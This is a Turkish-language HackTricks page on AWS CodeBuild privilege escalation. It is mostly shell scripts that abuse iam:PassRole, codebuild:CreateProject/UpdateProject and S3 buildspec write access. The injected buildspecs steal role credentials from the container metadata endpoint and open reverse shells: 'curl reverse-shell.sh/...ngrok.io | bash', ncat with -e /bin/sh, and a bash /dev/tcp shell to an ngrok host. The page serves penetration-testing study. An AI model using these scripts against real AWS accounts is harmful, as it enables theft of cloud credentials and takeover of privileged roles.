AWS - Codebuild Privesc

Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'i desteklemenin diğer yolları:

  • Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na (https://github.com/sponsors/carlospolop) göz atın!

  • [The PEASS Family]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [NFT'lerimiz]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz

  • 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @hacktricks_live'da takip edin.**

  • Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.

codebuild

Daha fazla bilgi için:

pageAWS - Codebuild Enum

iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

iam:PassRole, codebuild:CreateProject ve codebuild:StartBuild veya codebuild:StartBuildBatch izinlerine sahip bir saldırgan, çalışan bir tane oluşturarak herhangi bir codebuild IAM rolüne ayrıcalıklarını yükseltebilir.

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"


REV_PATH="/tmp/rev.json"

printf "$JSON" > $REV_PATH

# Create project
aws codebuild create-project --cli-input-json file://$REV_PATH

# Build it
aws codebuild start-build --project-name codebuild-demo-project

# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output

# Delete the project
aws codebuild delete-project --name codebuild-demo-project

Potansiyel Etki: Herhangi bir AWS Codebuild rolüne doğrudan ayrıcalık yükseltme.

Codebuild konteyneri içindeki /codebuild/output/tmp/env.sh dosyası, metadata kimlik bilgilerine erişmek için gereken tüm çevresel değişkenleri içerir.

Bu dosya, AWS_CONTAINER_CREDENTIALS_RELATIVE_URI çevresel değişkenini içerir ki bu kimlik bilgilerine erişmek için URL yolunu içerir. Bu genellikle /v2/credentials/2817702c-efcf-4485-9730-8e54303ec420 gibi bir şey olacaktır.

Bu URL'ye http://169.254.170.2/ ekleyerek rol kimlik bilgilerini çalabilirsiniz.

Ayrıca, ECS_CONTAINER_METADATA_URI çevresel değişkenini içerir ki bu konteyner hakkında metadata bilgilerini almak için tam URL'yi içerir.

iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Önceki bölümde olduğu gibi, bir yapı projesi oluşturmak yerine onu değiştirebilirseniz, IAM Rolünü belirtebilir ve belirteci çalabilirsiniz.

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"

printf "$JSON" > $REV_PATH

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

Potansiyel Etki: Herhangi bir AWS Codebuild rolüne doğrudan ayrıcalık yükseltme.

codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Önceki bölümde olduğu gibi ancak iam:PassRole izni olmadan, bu izinleri kötüye kullanarak mevcut Codebuild projelerini değiştirebilir ve zaten atanan role erişebilirsiniz.

REV_PATH="/tmp/codebuild_pwn.json"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"codebuild_lab_3_project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n  fast-fail: false\\\\n  build-list:\\\\n    - identifier: build1\\\\n      env:\\\\n        variables:\\\\n          BUILD_ID: build1\\\\n      buildspec: |\\\\n        version: 0.2\\\\n        env:\\\\n          shell: sh\\\\n        phases:\\\\n          build:\\\\n            commands:\\\\n              - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n      ignore-failure: true\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

printf "$JSON" > $REV_PATH

# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build-batch --project-name codebuild-demo-project

Potansiyel Etki: Bağlı AWS Codebuild rollerine doğrudan ayrıcalık yükseltme.

SSM

Yeterli izne sahip olmak, bir ssm oturumu başlatmak içinde inşa edilen bir Codebuild projesine girmek mümkündür.

Codebuild projesinin bir kesme noktasına sahip olması gerekecektir:

phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
      - codebuild-breakpoint

Ve sonra:

aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>

Daha fazla bilgi için belgelere bakın.

(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject

Saldırgan, yazma erişimine sahip olduğu bir S3 kovasında buildspec.yml dosyasını depolayan belirli bir CodeBuild projesinin bir derlemesini başlatma/yeniden başlatma yeteneğine sahip olduğunda, CodeBuild işlemine komut yürütme elde edebilir.

Not: Eskalasyon, CodeBuild çalışanının, umarım saldırganınkinden daha ayrıcalıklı olan farklı bir rolü varsa ilgilidir.

aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./

vim ./buildspec.yml

# Add the following lines in the "phases > pre_builds > commands" section
#
#    - apt-get install nmap -y
#    - ncat <IP> <PORT> -e /bin/sh

aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml

aws codebuild start-build --project-name <project-name>

# Wait for the reverse shell :)

Aşağıdaki builspec örneğini kullanarak bir ters shell alabilirsiniz:

buildspec.yml
version: 0.2

phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1

Etki: Genellikle yüksek ayrıcalıklara sahip olan AWS CodeBuild çalışanı tarafından kullanılan role doğrudan ayrıcalık yükseltme.

buildspec.yml dosyasının zip formatında olması bekleniyorsa, saldırganın indirip, açıp, kök dizinden buildspec.yml dosyasını değiştirmesi, tekrar ziplemesi ve yüklemesi gerekebilir.

Daha fazla detay burada bulunabilir.

Potansiyel Etki: Bağlı AWS Codebuild rollerine doğrudan ayrıcalık yükseltme.

Last updated